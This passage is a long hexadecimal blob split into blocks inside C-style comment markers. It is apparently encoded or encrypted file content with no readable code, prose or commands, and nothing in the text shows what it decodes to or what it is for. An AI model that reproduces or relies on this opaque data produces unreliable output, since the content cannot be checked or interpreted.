f29b625e9bd6a1223439a8f52df2342c3df6991277c03da2e259f5f89d6b3ebaf676059dac955aacf97d6c9239a1986d0f4c6c24189f574444b11930b85065dc2a1e189b6f5bfa6b3741855ec7738dbdc6d175748b1d95faab213226474143f1889308d9b5ba8e7d0c65d7f379ee7f08979bd3deb06232a6ba183c5c186d77ffce020fec91071b2a04b9247dd5672779e5d1469b6be99341477c8c6d830de12243f06195ea9b3deb71371dde521635d900d6287036dbe0a6e9202f9a073e2c9f9a18672e8eefda63f7bdd7e27417f3a99ed4ca8ceaa94cd33e19a0dcc9ff0bb7a91f63eaf8eb92accf39519e520bb93bed7ea7cbeaa703377aabf919235ad9a6c269cc1044123422d899e79e91cda83aa8cb44fa131b4c8fc627354893204fead0f89c6c584ab6845223f8c6020c8a874a978e3279a2a82e4ad52adcc60ae767b21fb7eeb588d3bc9693918d65cad39b77c7081582264df95110640933d0eb0db2f136e9cf4104d5ca64fb25a94720e51e43c37476779258215f0dfdd7d8112cae72217d6a9f7947913883e43ff564ff5d1ccb54e7976f970849233e2fbd181c49c35276c06392bb7ef5a48*/
/*e251868b228cdd0181f1680eda2396b126c86682ae1bddca4ecdd211dcfe55a3e959acd3463cf0b0f78a35b8bee707d5cc7e353fc8df2b65e57119ffa796c6e1f614662c5e232469509e8b07ce021078293926623f8345d0044129d4f38ef9969fd320423061f356514f28ff512da829fca3a412ccdad1193b75fea379869a64109d6f9b1041eb01f013528f78e9c2f100a7d707cf39e4adfc34451fd0347d891ff8f94772c36bef5b81bd7fff7694bc32f418517231ad3ea70b688aa615d76bf1a8a51c5efe64c12d3b09aa84cdaad6e69572d5d36ba88663d023e5b367c7c6f5fa46b78472614102bd4e30fde5b9b42e8c6b23574fb78a1528809c0af9922922aef35ac1a061a051ac1ed8f8e73361a672fe91fb9361d591a17b6f26ec91c3a458f94865eb2709b58b82daa49a4f50adcf64c6866de5ea3c3f78c87eca7f0f18ed78af41930bcf4fcf02e9d4618cdafeacd79f20ad570b9c74edd4a19fbdd2d1f44610a678d21fea6bdd4f9e55a407d06df757f309136881b9dee490f2864e3d7fd21083e44fe0801f2a6a94d64374e2c26337b364195ddfaa6778a8773b2c9b658715f1ca24d756d43f4096a45a80cc9b6088e8e15e0f7dd4829496db2b24935b9ef72474556cd1a655bb40471ca9cf54f4811b224bf1b63742fcb94e25daf6a299a8e7154989e5eda54877047ef25a3a118581598d5738fe6dbb4f0d8454665d4264243f4d7f9c8a0ef681740e3d871e8a57d4c12426c587717db539137e203697aff8bbffe89443a5e540b12fcf9c091bea9922e2053e4d48752451dda6aa3e57f1eb7728e0463817fbb7b944392942e7a1a78c702a99d6a34f8d92c1a2999e90a325b971edf445ea137a524741092644a5dce4e9a1f649a2cb58bbf53c74a6955770cad34c360f0feffd89db160ad12d45904fa72eaf29e6b2b988a7adcd3c1514974c40c4a986f4fc90be5b14d47b9b54855f4bc9a13e5a6b55aac285c5be5326db1377a042495fa33282435696afe826a7eff78d39cf72138e6ba04fcdb1c66ce021e102aea7fc7a5bc856ff05e24043dc7e9329727c8f764e6db556ddff00175c5595a67a50936baa3f910cced1fb19a137ab02049033b3b0e6c69c561e8458ac19faaf50b2c7d6d75ece78aaaa1e667399c700eec14387fe9297de22dd63d4cde67cfbc4f5e1a4fd2f7e8a553a641686fa6c9e41775a09159498321f745fd0248efb80e0453a993d07742a9ae6208992a4a2405fdbc32f1e901d2341b3c498c041dc79a00d22e82bd55eec8d6c969530b5acf995a5e923267a4ae2c26736485f85b4eb81972f1a81c28b084fd60f7e647b1422c288a6fd04dbbbbc9385cc272f92883daa852c6bf58fee1d8e23f62d43cf6d49d70c43d68fb43a40947953c2aa210db7197a955306526efd69da58c364b1bcfa25754a5c7dacb83dcca50871f7016d98ac861c88489cdaa46d388f12849bec299910ed286f5123e76f7b5b195e62e5a7302f7139f21272187a0bafd802dfbbc6a7d723aba4723ebe60633cf1fecb823946d13b1402c8d68946f98de6737b31a27c7ec02580e3efd597c7e01e8255c29b4ea982958e2923103f4218984ed5ce88bf9523b742a5e690cb8129f4f6132f66dee3e0b0cb74d0d4ad9d8c1158bbd9015813e6d8a8f34c7912216bef64523c4237b9238ff5ca62f85d52ea4ecc9423a22d34d27c136ab2aed507db5918e38f2394fb8ab961a7395f2393436f188216644f49f666068031388de8484b455363b937002851dfae6055dc2b849fc924721bb1dd9fb4aa91e2a67883980a1922e1036df0e0ff5ba0226925f83fd89a01a89448b891c659008e7c046efa9c630ee4c0ddd72af4b0700f8d78fba0ea29c98190145e2419fbf3a9984f21bd660c75bc2b4d19a8d2d6e101757ea77437ccea77347d164d782d1e716c76ed799c8c203e5c5782727daff93d404b4078391fda8412b9c82ccf138e815374be0bb194c802a28c1fcbee7d8819173a7a000cb904373d7a47e6d9815a109b8ffacbac7c8aa6be9830c78604f4a8ad8463607e7ed792493454ff1c7e96890cf292fc243af3e55081d42f3f0353795f257bed3f98ceb5343a9b76da0bbf160b379f31fbc5057d004566ceecf514ef0accd76ab1a4ae014c371372061bef93c8254c674845bc16b32630fd117afe047e3b48a3709d54c5af48a314beef9cb1ea2b673ceaf28aeac64cd15594c357e31d4dcf2c7c099c7ebb957f7f8666323c96486726497a968742da4448b289720e6a3588b2370896864d493204e9e152ef72361bbdae98101b2026698ae83744ec24192493f4b73ec8d4af3361a4459e19b0102804660d5b920b5c8a190053c41ec1b28787f3ae1f7f9a257e9774870de9d00ecd38d3e32fcd92ea5e38e6d27acc9e41a7c4c231689f10c47a4a37e16010b6469fc6a5083519947da70edeab831c7f5e050b47c3182d9f11acc298e7ba6788fc865bafe47faec8782f86b9d295e190245b2151f8b12f2f0bfdb3e5c53ad0e8bb32466b188570325d78f4c16e7ff91c2be1b519d781ec6c1a9fd7f12f83e877ec4173d6734d8cb2150a1dce35543632782eb3505f12b3dfe869fe9bb50f1cc822b126e56645130e543dc5cd7aabd07420c3608c38a1ca781d055b95eb84af17d15de599dba5de8045c8cc3cb3e4bcaf9a1f458c1c9d6dd9471b39b43a8fc5259aae64900c2249dc75575f4bf66aa73c98f7694321c1d6b949899199a2ec74aeddcd40ef0f8da48ba8e17e43f305e6c8c5a436cb39fc418eeaa4ca3af8a16e9d3e8708ab64fcceccf492fce2d2e21cfd*/
/*eb22213493542ffa3593f684a595daeef9e612ac872f894a86c9e641540d2aaa20e8ea7b2ef74aba3cc9c40aff3ce5ba96324ed436262a6eddb561990f06fb27f6fe814f9ae3073ddbe8162225a8bf2c0c3c01784ef194eba6169faee6d7fff708f0c5745a3d86cc3be121e79eff97d4362e31f3ce6a2672ccf9485f1a73cdd8eef27af18027c20b65e6379e30e49bc9aa95570468a48381643eb9a0168c99c8874846be9f250376a2c0d3c55e936c52b651fe1ad372f51af99d33339fad8cce3c8adc623c667345be75064778641dd18bef0a2234abc65666c16cfe5b5376de564f2584f6ab0fb547ac6cec18f0d6750fb24d4e7633dd121c3b741e42b03ef9b9de18024f76b47ca3005e4a04badca7ed21543505e8489ef782fca96c93f33b027459d2a25b31227646ac386bfdd321e87ca149a1dd7ead40182907b06f54233418ab5fae9fccd04fcc020cc19126b8f93f8e8804607ab6f26ee55722e8179cff39ac64117f07fed1bfadb95047a238085fcbbf91324457c0c2a9132ac6ed562f1649b224dcfa57b234b3397fd2672cef2ad35dc52c843d1ff2a44b1b0abac9b0350adf29d93213c1a39730b1b2a279d1c2edcb920d9a763a2c8c90d4ff0f53a6febaf6ac5590c238ee671fae1f18ef1fc48878005f7426dda2585ce01e8977ff7e547f70b39390f92740f8bcae665469d0fc034f6ea94a50af2358c99553a446d128766f4bf8b76d0ad38f2f6fba34370645df8197b58dd29fbb6df8aa59a10515cda38d1acf0c5d03c8a26046c525e5d76e2a9daf00f7b65bbdc14a4dfe6fd5b2108b9e9433d171d16e2b1ef305c46617713e1a90c2dc2abef30ea15df58a125569af60388262715725a9fd3669de2d51242936703c6d5e03927a2c4c8143be53e52ed162b876fb94c275bc98f5e39d9d3d818e1c26fec626c4418f879009b80d26a95961672e9a6a0b8710598c20921c0c1708bacb3c7e210cf6e31ed74bc03d8796bf6a63fa80077a92ee93bc84cf6a9ee5270eefcdfd960b79aad9dbb9d0ec32f855632975547d4505fa782251877f2ec133b2401a63176ef81f50d4b75bf93a2ee28f6ff7326d3d8037e731437e9da8b0aff750592d89b2f712ae98db1581ac0761ab4199e1c55bf582423f63c4e7e6f26b45da7eee43e63494f10ec8783a1a1701ad6380f3a0fbce2886f57e09d6507ff80e680309ff6e9b90ffc68d5da240085409d12452c4aaec6245b9a3b01b3683b0b45a6e5e477644cfd4840b28f4d556b5322c0aaf7be24c008cf6431079132b6a2b72e749b5f4feb253c2c51309b180ce53f78cac80da0cf650af07b389b06add40d91d5fc6cf9bc2c2c34b21be3729f123d14a52a84ea4d228d9b40eec370c3970d51fed8e44be3d44fa8dc37929725f9ae3efc4e59ee064d5dc3b85d06eaa30df0a44669e398cd0a98190d22f28bd5e98e68418edf7f2e798dfcca84e8dd1bde43d08a1e05425c2e296235e4a6239373c8b4ab92683378979627905badd3f3c6bdf777492874650ddbf869c07a37158afe595e35d1e4275bda3dc30546305139940f41b0b602b6be786c4083d8f64104384752e925a38510243fd0fcef0ddf785f005db21df586df61b2795d67a6f2f4385eb267e6d502a46f4cd03dfbabf33b06e3e8c3685f73b3041e69b880005c7796cbfec36da426890b935d8fa94d8fb97ccb1b5a1abd56e02ddc27c74e82a4da8ff753386a16c62be7f651713b99f86fb1876c479816bf637b5deb7da79f2652b3ace8ad7530731a9b9b2a99d9f90483c73fc3787788f945e0157f63f356c1164c9e24fb5becc68951867fa498bf2e82a91962df16fab789cc1c95d42bdc1ff7d5ba20e9e0c221e7ca452f9e042243606fbc4e05c200e5bde36b51f8ffb494a57e7bb319157d74a84dfec4a335420e1bc9b3a8fa5ae80474d5452f99dd4a4a7a6882f6d90005ada420abf7b5adba50541a9e964523dbce1888ac608acb642d07936d12abedc7d35b91075d9000bb7513c2ef0408c9f4bc32eeec14ad670148a6aa3b025872277ec92fd5fecbcf5e685ffbad53d68143ba7866c9d2ac125641ad7005d811c87d476d418561906dda42efa57d3a1f1652075a197aadc738cff4803a01b3647a2d69def90ee503ddec1941ceb473cdf1c5c7a9b257d1cc3787b801198cafce26fe37a6e87515f8bf7e1ac4970a227980c4967c9ca32dc5bc45c514a8e424dd449489c02a182572983dbf98ca49892dbded241d6481b113d8d59afc8b32e33926cbdcbe19d3c04f40840551b96e64a4bea8c4309eaab2becf38b49db32a5cbbeb95f36ea73756ed70c8b2fd30d9654422d29a39362602ed8a581f6ca2134efb5d2e111cef1865f1a54ea8196d698ac71e0145b8911dd19fa26613895b0b3673c2e252f1131c2dddd17452dc63ac33256734b6c3b59bb6ea75fb21b2976cbd844c6c1c334a8579cac0e8d228ccdba165f244cc9128966af9886130fbd76e52d449d02f56c6ba3401707d22bba40afa3d2176ee0f30befc5720505f6d3169c35265b474ee53b35a76a67e941a51490880ba7c5e0dccf63a8916626b4a2b81bc5a2e150925a981440afc3c8c62d8fa7f8deb1698f39db586b9b2dffa78c3c8aa439c1b4b153a712b60523335f4a973d6b3f18a716120523346485adbe8078c10a8d081c35738a0365c1abb73611594b4c71e8e87b5725dc2162a8c8c84a48ed3f4a0d10dffe4399f4f1e4bd0c9f1a3181e4803dd5920855f13da132157306a8e5d3d586b26d828e85b80c9134ff4bc9a3001a473e99595933ee3f37cac9470e1989e3b7d1ea75e0*/
/*1ddd6ae7363734469d62ec87b390750acb220c932003871ae8429be3b62c0f28c118c32539e893a0d8caaf95d0095513e7243b9e60978569edb8ecbd5031864e9f3f3f737e8b6940574652e4a5c5ccc848d291637f14f9511db7420f569c86f1e62e36e60783e72095862aa2df20524984dbad4c12c4c5efc639bb27ab4f1285e38f276cd167159b8c82e3402ca4925e072b0a215796b3fb427a7b4a533bf90c97517cdd36e07f79f4cf471a65c5ea8e4efc173a0d57802fdda4890ed110b8e10a11d3c715fe1a5b9c53b5bf64bb6b0c977def65b77cb98c853699ab6b220d4a30d8096ca1b1e90c0764b77544b40c6153eba6f6eed27d7159defa61623e7b68cc3d0011efe081e899fd31e0ba05afc2d55aabfe0b143e9773f9b67a1626dd0bed7cfe947965f74e195e3652621eec02614bb216e21f839c8173a86bc4e19a45ec87a9b1c7d078cdbf078f21338d81b3e79c2c793626bceb019bf03182994a27b7a1e4643f2203916748680621bd3d68e804057b50d74b6b53650af20dd22ea96eaa23c31aec0e5e6dd3f2e3f7d81d79a25fcfcc145d8e11da6482890a5626c905a52bd673853abd6963e3c9ec47d044383ebeb5aaa9b0614581f82a2a49402d919921e4e4d7575898e0e3ed0d2144f503bfee8b0661ae01cc0c92725b2f8e0023044609c96e4eb2159307797b3051579f2ea5228b8f5182835733f86d6e3eb08c43215e94af839177b2437c36e2092a9dfc50c60d7cc21b7b09ac4a5ff0192387e0c1ff598805cb1fdf2e9e2875c9c996961b5196b3d877f5a15183690a13f80bece5446476605b939f4fcd3585f37577ad473da69c86944af4fa22807dc2184d7bd2ebd1ca1e311d0e3fa5df3b2ec5e66d9beab1d8c94e7f594b2abc1e0d079eb14d844f781a92f9fe22aa64a27447d1b7dbfe2724572122a1cd49413d0b19382cc38a30a8bd5e3f50a16b37b7085f772592ad23e522a7e718a930ca73cffeb16716c9655a7d7399d7a932e2f9d876300548ac815ca90088d4697a629f51ba9d2568dfc5cda84b3aa01719298c6ddbb8db03c5a331b2e5a8a701c65cd3b2ce5715987b205dd0a0afb41710b75c25e3657516406702f454657f32c6b8b79d2ece5be1c49dabf52d3d25432fd53068a717613a30667de9b8b23ce0f263d5f519865813e9750bab27c046f1a7a9551798977072b172860331bb603a73a6a9c8bdb913ec806b6da61b5eeddb7882691f4205751d9cb05fb24a14637f16e15d8b81cf01d769a8b829a22eaa9b4444c2be8b5871b954be6f159e427cc51c28072be4e1283852c0318ff53b5d758609a19da1ca1559433aea6fa2e3333e6057627a3c2f4f82f6822815b4b1d5b2c5c8f456b94fddd059dda73603ff63194a931744f30b6a6956ce8479a57513ff1a58aec8607306e4772c13a38851e1dbdac7d5b50eb83c8c12f4fe13359ef4bbabb9e17fe00cc8634e23b41f5aa99df62854f3d83b1b57349100b36fec136d5fb5e3f245a0619f077bd8ece174df557f78d266405804e82bafc778e274137b0b6c87a5bb72c936159957aea0b12dac546282a59105c848b19ce09d3d23ff200eb5db273106e5291e1c38d87a255bbc2c4db79afe6c3ec6b9df9f0ab0ba8f4a7cd3eff3c125e72b12975aa8419033256037d49e5eb620fea17cf631cd725283865c73d70ef90345b2671d3293deb77fdb0b32a5114e7a66c8191aba8e3009205244a3822d52a35ed3cdeb3c72afba91757a01c15be7f593930b356ea95d515d107df126b033a3e786641864fdb22ec621483413a478e0d6eef91c34ed100d9f2faa7cc5d1be3fe44405945125cfe5e1a618a1f6a693679ddaf4693baa496c312c9c327c14f0ff79346fe7fa60cd8d84eb29f5710579d241021796bbcd6a189d60bd78e3148d71d74988608322f608366ab962ca3af1e3b713a68391da0420f35ccc53b56f1a1f7964bfa9df539f711da3b0954dd9473ed5fdb0930fb879b757f84850bfd9c96086084dd53e3652003ccecd3085ec0dcbde77070e0fdf431117a94b42697c64ff431f17cbec8e35939e8530926ebb4bb466e054134872da8c03472bd42fb1717a809c4afcbce3dd6eac8d879301d93ca66087be6f81b50555003ef09796a7be8c30c9fd21a57bc569a322e2ea8be8f9a8fcb44d35ef88d1a43a18b55227d0215e8d49ca03bcccd0f3f54c04548186085fc914478809c76cb13693afe4fd6a886ec7f13209c93140eae8502a6c00b604bf559197e54e435b6a931b6fa4f86dbe8d046affc5235ee86c82702eca5a80615378e161a06682cc0a70843b9482b6417025aa1102c45ae9e6613afa30734e10d4376ec7e03e5c5de3e46b0cb16d4ca90eec6fc7845fe5f431918a367c8382d14084e99b3017064a1803dbbabd107df10269fb0accbf149f282a74c9e6fbbe85b6ca9b92a0b0931caeea165c0f77142131c354d0337926236cf36026f2ce21049a06a73b8d4f6134298fa82e17fd7e4819058381ce01ecdf191231f9ce7a99e24afec530f894f1d63856111c58b0ba1d9878cddfa946ccaaa026a7fc1a5712c2231650246aa5c5de3f6cc84fbc83e09402eb20e535e1573a8e03a2ea90c40a95618834bf25d357e1324ccc530b9994aa0362d4bc70151480c3722133e0c5ffb7b00cc122cd7813a8a2de14ece52237d9819e41c0614f713be43d869d05b98d356f2ffb17bb02ad6789a904920c437060b4c7348597d823936670593ae8d875fddba6d8ea1bcd67496dbf86b3715d61cdc265378ba9a72fb3cbd61042e5fe1b576044d32979e799bcbfeb9e707972f1ce*/
/*8981b0684a53d3fa04befb3396a488028a93d63208ccf9da7782515ef32b8acfe7b22625f8351ce53250f52f447a49dbc597e37cb65f66d84468e3dbce81f416c05bdb9687385ae61acf44981335bf58b934e78f890393fb744bc0742a3e726f8bd1ab5767dfc8c2355f67f07c4ed890f33019838c249c2311ee9a0b7ed480d28ce5c543dd669d119df1b73ee4f35fa0e25b002505f4d99fc1cd1235618dceeaaf909ea987de401d5ac67fbb2487786163da271171d24566c3dcaad4984bc877a547fc797e546af794c85062a664d2e661dbc796b974b3e4de55798b5ce39d3eb10d0e63ba30afe8e20a81cac7c5a202d49f3ac634adaa0d51cfb63da4be25865f8e8b6e518b73dc56621741746d37b8d6f1dbe2bdf572eb47e4a3e541b0b58ee70821c5c778c4a355799ed4b483c4c19f538287308104551096ef94e0f3ea7bfb52eea4854c29524c162c2a68379606ba6790b0d123c78428e50ce95a6b7088807ccea21e1c72d26ab5558a4cb038a3a9fe83d0e2cbfb063500ec910cbc50123580acbad03876bdd1a5751bbc8fe662c736ced5b35049c9686f3bb29eb85acede4ac2fabb70cf071c642892ab9dd8e1dd92ce03c7fbe117f354f426294127571bd7e973a6123574c444d1375d0a318af01868e756cf2eac5f76920608ffd60ec9855762c0e25bc4edb1202653f967a99167b79238c8bc26d8e2c12d0fd8ebf64d62a848ec3c1b4cbfed25bbab51334fd2b5f47b7ed5e4fb10fce4e097b4f4a7722096dfc52116d86938e5ff2484dd377e8220070d5a8b74cfde8927e6787be2bb1e9624a8940e4ceae62365f637a48335963e6897b514405395df199174265a2693eb87b970569c11f2f7720f063a0465e89afb09cc91999c6ebc3b1837d7d9d4ab94859a5999b10572f33ce3286954b532460f27520bf94a18c79cf23a080bed7014d5936543dd3385120cb91a130a4555ba5e2539a4a7d95315711b40e80d293aba2b1c2088174ea422de6e46940cd4747ed24c70b9885cbea08ddf73b747fe8911cce1b31ed636bb1deee9c6286020450e45efaa240dc5ec37f95b563251a65e2f30d36271aae016df1015717f738c7290379daf8ff7b41bda9a162a9c4307e55946cc34fa04f91d1f79ad1839ca53d1eda0e7b6ffa5e86f6294d1fe32ec4a010523568f3dc957bef166038fffb061b12aa7dda9c18cbc6d61bd1e6a47ed9f2b8072001ce7e615885593078db3a9a4e4dd8e44465880df6c0257b70872e848dedbba79e843134a865d36be06f766bb7069c4ef2cc94c51170dfe1a43b15381c4e5f115ba151afc7f81da1b80d76e6e94c627b087c2aa4d9df42e850d49bffeb8da67de153365765c43a3d752483230d18d59cf6b52f2acee48c92f7946cae50afd8fdc0715d0a46e6a0ab67d18bafc2b439af85621e67027a06651b820627db7857c771b805349b3c2b7e41cfb89e5ba848fac824a3a3c723e2b2636d65ba0f6e7f0c31a866c6452b80f3869c67117dcb314124a0053d65df448a0475a369f01163e8241a8e5429678caf5a98881bb4dd4a347e6a40e2a75e48dc3f0cc5edd93456fc9b2ca1f4e1f5bddddc9dc263565a042c7f02b1ed20e07a95752bb8bec031e0740ab6c5798c6c9e0d0cf8394c7d019f563cbb635d613bc64d1ca88c2c7adccde40470547b3c23f0760792ad14d898d1f7fa26fbcc432c48a54f42c4fc3ede2a7ec107fc875ae75847757ac78cbdf3cd0c85f971e3ef90f2fac3caf23001bc7cf163acdf8cf7cd300fa4a5836b1628fda60b90daaa44fa961af09030c7b2a74b17925c0848a8ba06198b73d1a520a9a7b0ce27f48cb62fdd4db2818e79090204b78e87e1dfb6152dcbe5e625b8cac44e4ea7afbe9a1377f7df08f9fbf576e93519ad6263e7a268d21ca5ccafd37eafa0b8e6c525d34dd8038f49cecb7bca2125ef4a0fe133119da26abcd42f683ad018368af2c3e1ca6299dc14ee0353d8bf2b0556c66ad16aed2fadae18d9b012bb289549dcda67172602c3331d60da91a1e3973151f014488ce79735ce53b39d6d4c9d6fdf265ab1a1dfe97d6f6703943fefec3bc9a988ef5b32770f4d0f2d35ada16eaf0013c747f37e4e1f58ac2aaa62985801e67f71b0fb1c5a4290e9c952b42a46899c93129bb6b75a2ff3a2287d2ce4f18d217a99ba1300bd3f7eadbffdcc554efeda8142c363f4b8d95d28954d273850334907cd90b33954a05442dd70f22049b09e542630c537b490b2422d078a8ea9caf808be874b1e393ef477f226b70cb66bf451eb5bb7d78a799ca1be8f0312858c212b6e4b01962122b8b7fff518cf2122ab2f46fbb2b34a48da5ae195697e5fbd4193f480d892322dbde9a562cbf65b1c53d880b8d81c0e73b6405fa94039fef3a75090f95c48ded709f764ca3c0a1b98f94386bb25dd8aeab988eed30f6d09b47f23070b1fff5cfd8ddb9e32feeb96b83bd102f7a94dd58775059a3c7cadc1805bbf4a56e0970b37bb58d40916e2fdae45ed20ddb2a1b21f8f8612dd038713075a9fe71c147fa57547c12030a9c9d1757080dacf71185009bfa7f81a6358c388f3024d2149a0a364f99771045f0b66fd25b559bd0f458ec2ede437a84689219aded5d73784bc3f9e2af1953ba21bd1cc96a0c117a542f6c19517e32aed9d699b0ad299e0096e5ac96eb416aa3a272a15eb94d9e126825402a84ecc21327d33ee94858a515ac19ee35c09784fea42f6d47b0e02d30c22ba0a0e42d1d48c688d2f7743d20c983dcb7a78d24926ba014bbc16659e95fa51a0a51c90193b529b531711277cfe5455cd4f556cb*/
/*418d4e57c6dd1413c11542862c98ad10a7c977bd045bf5911b8bfc9beee84d3db6bf83a3d6663764fb3c007f88905b2b5df97a37d4e148bcc545cac197e9cfd0e0c816de841d78b363864607a4cf875b94f5820c7fabed6de32fc48c9df0eaa83c1a45fa1581b9aaf652657e4d4aa0ee5c615e9e03e14b831bbac0a78109a35f7fe7d9149df8f6b2764ea37aade51481c62a484550dee7fdb0b9f86f4151fa0648dc5ade1f42dcf9027c665cf493c30027ab03c684d46a218987b226f24661b4bc7bbc266e995da6c7a8e3e2d4c5fe137c2e47ea3d8f9534cfb9aeda4e09dd06f40eb66844f38112a0f6bab2171a6d4e9edb65258fdf06aa3da4b1d5ea1e57dc62f3189562a586b5a9174ab654fae6c6265f866aabd2e02a7239f8dad9e9157998f93bf1eb5124c2f9990fc67b86c4abf28a0d3401d0a9a077c13ef0e52bbb160db915d789450f6e889f5817345ebc6f2cce4adc3db64445818b1a53c09c0c2ff26584352e29ec0a563dffac90a434c46ff72b6dd47d9987046d4915da0208fb51a197f5d3ee9c15b571f38d7a5806d868bead40c3785e5144863d2149e5b81e0e83916efd57a3d662a262f044545240201f243bc3826bc6a30be10fd8b1f8ec0b7cfbeab84a133f50c024eacde59378d61311de720e2b277612cc415d22898911704111e3318232f1d5660b541995430f08ba698d7a9f9da0328b5e5eeb25d0dd1ab5de3a3f46c2ca86c0d48d2e073924bc85464a9c9197bec9b92bf3661b9fcf7bab190e499518c058311cd00ac64977771202ed0e082210965c5313efbc6a9b70b8258f39c18b849ac836246681f39c8736cca13f47e6943f6478879f74009711eb32de3a82617e6767e7008627c2928521b4fa0d8709468ec359d6d032449fe5c48d5ed4b77b60c026ba0fafa509ba4e84ad479f0fdd89bd40220c6e2adebccb1a0f6c24443ddb4260054d3a1dcf0ea2e8bd71b5e5ca6ec9069ef730743d4a04bbe4dff53a2159e32bb97f1323bc77c97fad61882265c6273f93060e100a3dccf31ae5bff2841cab69f7c12bd03e8789eee17d1cfe4c3ad53f5a70f21da7c349f8a79e319940f779f49688cb55187a0776bb804df6df99fb32dd91355af6462f80cf4bbbbd9362c9813895a59a2edc041dd9d3a2e46a16f1a1a223f4b0aa897d48e74f68c50c5ceea71d2d73eb31c1ed72f47d9de79b1e54a836ce0770ba507e0ce9a8ae8a56621bc5dea30d0ba0411a9c3846cc901405722809f15a557a4ad01d28dc3776efbf78dc7e2cb010dd6b80851d0b1a7a2a6054258cf971d713cd1c14f2fd69e27752545683ffd81b6d0bfd4ba88472ffa160dfd49fe4208fe275bc28dbef18f2b6dd71a363a7b1c387a05766e9524e6d1e366779bbeb4cd8ddb33ebd103cc29172e5531c9653a20d0bef9509ada4ff5da49e087fc3ffc67fde01cb299f4d3682e29d3ffbeedb4234dbc9b2bb0e643b4db97c7a045754f7e812feb1ac498a9120561289255724545861fe6f283141b6a77baccf9a34c838e25258616301240814717c9a3d67c97d1bf4bd49b4ec87c0a9f501a306ee0fc88b30baf8b4277589342b1538e24b613eb209be343b7b87cbd121d954dfe76e9bcd53bbd89516ea9124f0eaab8e43449513520c9844a8342b150351cc1cc2a498e54cdcecf4a6f4feba32ca407e6a9a508c883a6212855a1815fc6f1ab42c282a5a458b0d0fbcd23be222d8dfdbac90d29f3bc2d019aaef6154e119cad5855a8149080bb859f1ddecec678ccc8f971f122d96eb71cc2d413e14de1c3996d8fb8cb23b7f591a192c72d080a75b1254c54d1d91ba2981b1de87f7150dfd46bfb123729e324943cd8d8cf4e006a3f6bb278deb95ebce3e2e4b8649211b1d92af0f49db7f02e2f035347cb16d6d846fcb2c4991b2ef2772839a15cb6b1dac607a62701c2c093c767f75cd038bea056ce7d05963721120854178c9f7f55b536d664b9d6003f2541bbfb715a1225d048135bdf405322e725824b54361e59b3a33d1e7ebbef8727952c7df8488d0f97fc0dc73fd1efcbaa96df28a3769608ab21da5d9062d46ee05b1e46a9f1bb337f4c2c066c2ccac719aa2d4eedbe0bd707cc79597944fe59985aab099341d170833b626e5e48b550eeaa57cceccc4b4a5139a35252c91c9d8d654ef03b1063f9e9cc3f575ca9ec5068b2134983fcd3115493bff103fcac9e213462a806a58afd601dd0d565666692fd6f743fc96f695fafe18d59f0b9a623d27182f166d6e308e3b7d4d011a90df2e3a8c01e351fa0b24aee9984d6576acebd6e5762b9d565a644ca4028708d2801a87e9226f6f5cd7e9c99aff7d05291d7e5e2326f2d62a373fe29e724033affc426e62108ce871ee6f6c1c79ac27415b2d1baea9a4dc26e683a3709422df3886b69928ffa4d4e77cbab7b7fa11d320bdb14cb65a8f70a0c417864a6d60cafe147114de1a1a03ba371c65599158befbcabbf153e920ec822a67ca55efb5c58625dfc60bc32269ab1cff15c67514d97d62d7879ffec5d3f89a24bf3cc68c1a2df57b0b3c0607e37d5269b333f44dd93471dd0c670329cdfa6d2723dd4be2af763be22aefc1f944fe4c7bf6fbc514a2cabd8c0ab42306447d68cef4babc55c548330027146bd5590dd8c078ed5a1c521de4ae81c31ed457688f089ffbf0844094e953e93cf683aa4709643b209bded95331911eda36805a945a459247177ffc38e4831c0833a26ac5ed2cb670ba4e3dc0825da63a7614779ec047ff5a6b88eae9fa30ca6e6bc07960e4b8c153fb3b793d5df2b38b45baef7bcc9b5a234c47c8d06a*/
/*987da385b7a04418c9356593b713c0b5feefafac71ab21144ab4fef3b779cc4cd084698fb364e748761afcf97c69c013b242b08437324f29ee0b0fc02f9661c7d0a8086d34b24b452d9386f3b0e96392d904254865cc0e6082cf0d2c64dc29c15b59f4927770b7e404bf17441f055fbe60389e832200c2658a27c1a988c67f2757d0852cfd74fbc842b14c8c46bcbaab6a9f9ba5b8e64f38a526775a649a1010f6ac6c7ca2ae02230464fd4478800e3efb240a55414c3325243f4a5ff3bdd9b516e4b5b425235f4cb1d8beee18c155b13732cb386a229e402e01ddbb873efd06723a64bcae3cc771ce91d89d0a29cf3d42547cc701ac9f26859b3fc3005244cbd970d15fbdf67c931de61158d06349ae8c3bd0ac8c9c325464bf4b8edc9c01b55157c818b1afd86752ebfd2a91053197bdef1f3796858a48e9594939e4646eeb8e13a3c9016800a9d418913e6102e21d3cc1ba3277a9a25059764bef359f906588c5b999e8dc772ab9c783e60af0c08a03c76027c2c3908bfed29d78ab7534380386482537a5b90f01b67fe7b2235a214c42846a3121aaaffd440084768d3236ba18421c620b9f1ddb27b266bdcd7c5e6c41d16531f1c898e7ccbf7465e9e76a64a10d90684ef3171dfe65607a0ba89df4110850655ceeae56203b5a17720b3a144ae7def3d9375ee7633d956c564d6ca7544860a471fd40431111bd6696f7a3b32558e89bc97a71e49d31d3b19665850f88342e9b99854c527b4b661de62d5d03a27d6d9a66ea1efdb79620cf9075e16f703632926407fa0d14bbff8b127ea2142417e9119c5ad9749e40ffc251f346d784b1b0aee039b40b691629e2a22d9a0d2b9bba434d81527694d150a7055b40b95c8e1c7779ae8a3ba3ff520ae7fae5eff056b668fe2235a4c639846fea64ea42f06ce0c3f945d73a33a38a4737bb96d101028e3d5f67d0fabf8233abd48e30b28ed5a97065f7bb46b9e18e9732d45021fd0c80d80f5191584812b87b3b84f14f716ced7f790610bccc7d99912bd1bebfd0e2d702b29ec531b6dd06be40303c2365312b2c7d7718028640efd25f288891bdff0cdd3b72f458b57c55c3d9f1dd0282c4ab65c90622bedb2e4304febbb02db6ea27bbb5bff6f5fb1c7c9864bc55e14d54373c0909d218b9e421545044316c03529038b20f2112afdf10ad8549de169706a27ffd3079e9c70335db80d7425603628126606fe7c5671c350a02e91d3f300625938a5079e013be1ccae5ea6b16e420944ba2fbe1cd7dae58baf7c751c5c570dd063883288603358f2bbb4a18adc005f4cc2a582cade9d05b8fee32ffee399d75ccb083741812f89fc761adba71a0638d2bd6ffb16a2c5136029cc859bd751a114ecf5fcfcdf5e4790f25cdce0dfb5338ed0533605c38158ecefdaf5abf40ccdee7eeff514f82c64c0906317282557688e966a39ea3c8de6bd52780b77d359d07581c317d9cb8f0d5c5a317f15ed1974c393a00225ef8bc56671995fa938cb303834d064e96e40e572a16bfd62a616e453da9800fd5dec15d421a